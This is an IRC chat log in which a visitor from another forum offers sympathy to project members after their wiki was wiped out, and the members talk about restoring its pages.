23:24:58rasher whee
23:30:52 Join FlameGrilled [0] (
23:31:07FlameGrilledhi all...
23:31:58FlameGrilleddunno who is around, who's awake or what... but i came along to say hi, and say sorry to hear about that idiotic incident.. the wipeout you lot suffered...
23:32:22Bagderbeen painful
23:32:44FlameGrilledi know, had similar losses myself...
23:33:24FlameGrilledseriously, i needn't say what i think of those responsible (it's pretty common feeling by all at MisticRiver, and other RB friendly places)..
23:34:01FlameGrilledbut let's hope..., they get what they deserve, and no loss or setup on the long-term affects you lot..
23:35:17FlameGrilledwell, i just wanted to extend the sympathy from all at MR, and wish well to the project regardless..
23:35:37FlameGrilledsee you around, when i pop by next .. on a better reason hopefully :)
23:35:54rasherThere's no point in hoping they get what they deserve
23:36:00rasherExcept by means of karma perhaps
23:36:23rasherTracking the guilty down is pretty much impossible
23:36:26FlameGrilledwell, that's kinda what i meant - hopefully they'll get a karmic backlash..
23:36:53rasherThe wiki will rise again!
23:37:00Bagderah, I'll yell in their direction
23:37:01rasherhalf of the pages are already back
23:37:04Bagderthat should teach them!
23:37:06FlameGrilledi know about the tracking side.... , somewhat, and yeah.. it's a tough one if you aint prepared to go to darker motives..
23:37:35FlameGrilledgood to hear, well... feel free to drop me a note at MR if i can help at all, dunno how.. but the offer is there..
23:38:49 Quit einhirn ("Miranda IM! Smaller, Faster, Easier.")
23:38:57FlameGrilledwell, the cat's gonna leggit..., see you lot around.. and don't let the idiots of the world win eh..? ;)
23:39:34 Part FlameGrilled
23:48:14*Zagor looks at the twiki registration problem
23:48:53*HCl yawns

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